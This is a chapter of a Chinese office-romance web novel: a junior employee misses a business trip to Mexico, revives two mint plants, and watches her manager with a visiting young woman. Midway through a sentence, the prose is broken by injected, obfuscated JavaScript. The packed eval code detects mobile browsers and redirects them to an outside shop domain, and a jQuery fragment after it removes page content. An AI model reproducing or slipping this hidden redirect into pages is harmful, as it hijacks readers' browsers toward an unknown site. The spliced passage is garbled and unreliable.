八月下旬，有一次去墨西哥出差的机会，周觅终于想到林今，让她跟去翻译。
“你可以吗？”
“当然！”林今满口应下。
“行。”周觅打开日历，“你还没有签证对吗？今天赶快预约面签，需要什么材料让王姐给你开好，离出发不到一个月的时间，你要抓紧办。”
林今不仅没有签证，而且还没有护照，她如实告诉周觅。
“你护照都没办？”周觅也是开了眼，“我们部门都叫‘海外事业部’，出差肯定是少不了的，前段时间你不没事情干吗？不办护照在忙些什么？”
林今答不上来。
是啊，她怎么会？
她一定想过会出差，她甚至查过出租屋到虹桥和浦东机场的路线，得知有一条连通地铁2号线龙阳路和浦东国际机场的磁悬浮，虽然那并非从她家到浦东机场的最佳路线。
她连这些都想到了，就是没想到要办护照。
她从未出过国，这些落地的步骤对她来说还是太陌生。
可她真的很想去出差，不想错失机会，再度为自己争取：“我今天就去办护照，我一定尽全力赶上。”
“都是流程，不是你努不努力的问题。你户籍在上海吗？”
“不在。”
“那你还要回你户籍所在地办护照，起码要用掉一周。”周觅又给她泼一盆冷水。
周觅重新打开日历算一遍时间，赶不上的风险太大，他们签了第三方的翻译公司，林今也没那么必要，他可不想再临时更改计划。
说了不行，林今还赖着不走，手死死攥紧衣角，指节发白。
“下次还有机会。”周觅安慰一句，感觉不甚有效，便直接放弃，从桌上拿起一份文件打发林今，“你现在有空？去复印五份，下午开会要用。”
复印好文件，林今转道去办公区的一角照看两盆薄荷。
它们的恢复速度喜人，长出嫩绿的新芽，生机勃勃地向上冒头，散发出特有的清冽清香。
这时，已能轻易判断哪些枝叶枯死，可以大胆剪去。林今照旧把花盆抱去洗手间，精细地修剪了一番，再把花盆洗得更洁净一些。
两盆植物焕然一新，她的心情也大雨转阴，深深吐出一口闷气，抱起其中的一盆往外走。
她看着水珠从叶片上滑落，转过拐角，没注意到对面来人。
“小心！”
顾程昼去托花盆底，碰到的却是林今微凉的手背，他动作一顿。
林今还没完全回过神，身体比大脑反应快，下意识缩手把花盆往自己怀中揽。
刚浇过水的盆沿溢出几滴泥水，在她胸前蹭开一小片浅褐色的痕迹。
冷意传导到皮肤，林今低头看去，苦中作乐地想，她穿在身上的干爽衣服可能和呈新八字犯冲，先是汤水，现在是泥水，她真该在公司常备一件外套。
“没事吧？”顾程昼问。
“没事。”
林今准备把薄荷放回去办公区，再回来清理，顾程昼却先一步将花盆接过：“我来。”
清理好衣服，林今带着另外一盆薄荷走出洗手间，没想到顾程昼去而复返，站在门外几步外，像是特意在等她。
她不用抬头也能感受到他的目光，他在端详她，如同她端详薄荷。
她调整了一下表情，惟愿自己不显得过分蔫巴。
顾程昼没有揭穿她拙劣的伪装，但她的垂头丧气，他也不是没见过。
就不多久之前，她从办公区搬出盆栽，从他的眼前经过，隔着一层玻璃，他都感觉到她头上乌云一朵，降落大暴雨。
这雨再下，她要像薄荷一样发出芽。
“工作上遇到任何问题，都是可以和我说的，你知道吧？”
“嗯。”林今应一声，仍然低着头，看见手中薄荷的嫩叶跟着抖了抖。
顾程昼又问：“那你现在有什么想说的吗？”
林今犹豫了下，摇了摇头。
也不是大不了的事，假如她连这点困难都无法自行解决，这份工作她注定做不长久。
更何况，当上级的不是贯会打官腔了吗？有问题随时说、不要给自己太多压力、有一整个团队支持你……
周觅不屑于做表面功夫，顾程昼替他打圆场，全是圆融世故，谁又会放在心上。
回到办公区，林今将手中的这一盆薄荷贴着另一盆放好。
正要起身，辛意从旁探出头，凑近闻了闻：“哎！这两盆是薄荷吗？”
“没错。”
“那我猜对啦！就说有薄荷味。”
辛意恰好提醒了林今，两盆薄荷已经慢慢养回来，适合摆在办公桌上当点缀：“你喜欢薄荷吗？尽管拿，等再长好一些，还能摘叶子泡水喝。”
“好呀！我正有此意。”辛意笑，“谢谢你！”
林今摆手：“不用谢，它们也不是我的，是我捡回来养的。”
辛意蹲下来，听林今讲救薄荷的小故事，看过林今手机里存的薄荷复活记录照片，对它们又多了一层敬意，万物生灵的求生意志真伟大。
薄荷好，救薄荷的林今更好，值得辛意的这一声感谢。
林今让辛意挑选，两盆都看着碧绿鲜活，辛意选了靠外侧的一盆，林今便捧起靠墙的另一盆，两人一前一后往工位走。
辛意在电脑旁边选好位置放下盆栽，对林今说：“要不是今天看见你在墙角打转，我都没发现那儿还有两盆薄荷呢。”
并非辛意眼拙，夏天日光太盛，遮光帘总是拉着，把盆栽挡了个严实。
林今也惊讶，顾程昼竟然真能放对地方。
他替她带回来的那盆薄荷，待在它原先所在的地方等着她，花盆托盘与地毯略微凹陷的那个圆圈分毫不差地贴合，在整个宽敞办公区堪称最不起眼的角落。
-
周一上午例会，林今罕见地没有专注听。
地铁上的冷气把她吹得感冒，她头脑昏沉，会议结束往外走，文件掉了都没发现，还得靠身后的顾程昼捡起来给她。
走回办公区门口，隔壁的办公室中突然冲出一个人影，大喊：“Surprise！”
林今被吓了一跳，呛到风，咳得停不下来，泪眼朦胧地看着顾程昼上前一步，把那个不认识的女生推回去他的办公室，接着关上了门。
“来找小顾总的姑娘是谁，你晓得伐？”
有新八卦，王姐精神一振，话似连珠炮。周觅让她订去墨西哥的机票酒店，她逮着周觅打听情报。
“小顾总的女朋友吧。”
比起八卦，周觅更关心工作，搪塞一句不能再多。
王姐打开订机票的网页当摆设，迟迟没选往返机场和日期，他催促她快点操作。
“晓得。”王姐一心二用，一边点鼠标，一边打探，“之前没见过这姑娘啊，小顾总新谈的女朋友？”
周觅从何得知。
他张嘴，只想说，王姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964500|214439||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你多看看眼前这么大一个电脑屏幕，别再费劲巴拉往小顾总办公室那个方向张望了，话还没出口，被辛意横插一脚。
“Olivia从澳洲旅游回来，带了当地的巧克力请大家吃。”辛意提着一袋子巧克力，挤进王姐和周觅中间，“王姐，你辛苦，你先选！”
“这姑娘名字怪洋气的。”王姐的老花眼镜刚戴上没两分钟，又被她无情摘下。
她往袋子里瞅了半天，挑出一板牛奶巧克力，视线仍没舍得移走，问辛意能不能再拿几颗散装的巧克力球，她女儿爱吃巧克力。
“王姐你尽管拿，多的是呢。”王姐抓一把，辛意也帮着抓一把，放到王姐桌上。
辛意作势还要给，王姐拦住她：“停停停，这些够了，做人不能太贪心，吃太多要长蛀牙。”
“不给大儿子也拿点？”
“这臭小子非要跑去北京上大学，都不一定还记得我这当妈的，不给！”王姐眉开眼笑，“谢谢你，也替我谢谢那个……奥莉……”
“Olivia。”辛意贴心提醒，“王姐不客气！妹妹爱吃就好。”
辛意转身，看向用眼刀攻击她八百遍的周觅，走过场问：“八百……周总监，您要吗？”
“不用。”
“好嘞！”辛意也不和他多客套，转头就走分给其他人。
周觅等王姐把巧克力一颗颗装进包里，耐心消耗殆尽，再度催道：“王姐，票还没订。”
“我记着呢。”王姐也不吃压力，“周总监您且回去安心坐着，我不会让您走路去墨西哥的，您放一百个心。”
巧克力足量，分到林今那儿，还有半袋。
要拿的都拿过，辛意眨眨眼，全塞给林今。
这也太多，林今哭笑不得，选了一板杏仁榛子口味的，打算等会儿把没分完的放到茶水间。
黑巧克力微苦，林今细细咀嚼，稍稍挺直身子，向对面办公室望去。
辛意也进去了，中国人一生爱凑热闹，周觅除外。王姐实在太关心，不跟着看一眼，有点平白错失掉什么的遗憾。
林今的座位才是最佳观察位，正对着顾程昼的办公室，离得最近，看得最清。
Olivia在英国上学，险些被阴晴不定的天气逼疯，一放假就迫不及待奔赴黄金海岸晒阳光沐浴，成功收获小麦色皮肤，加上一身撞色运动装，活脱脱一颗小太阳，照得这层楼热闹欢腾，不同往日。
不知她说了些什么，辛意和顾程昼全程嘴角就没下去过。
记忆中，顾程昼并不是个多爱笑的人，虽然这些天相处下来，他笑得不少，但大概是出于现实需求。
周觅看着太凶，红脸被周觅唱完，他就需要唱白脸。
林今已能分辨出公事版顾程昼和日常版顾程昼。这判断不依托于确切的标准，就是一种感觉，而这一刻的顾程昼绝对是后者。
他侧着脸，单手抬着，指节微曲抵住下颌，神情放松，任由Olivia转来转去。
林今昨夜鼻塞没睡好，偷偷看了一会儿，困意上涌，眼神逐渐失去焦点。等她再度回神，顾程昼不再看向Olivia，而是一转眼，视线与她撞了个正着。
同一时间，Olivia也往这里看过来……
好疼！林今还在嚼坚果，情急之下连舌尖一块咬到。她呲牙咧嘴地埋下头，借电脑显示屏遮挡自己。
瞎八卦不好，会遭报应的，林今眼角红红，以痛的代价学到这个教训。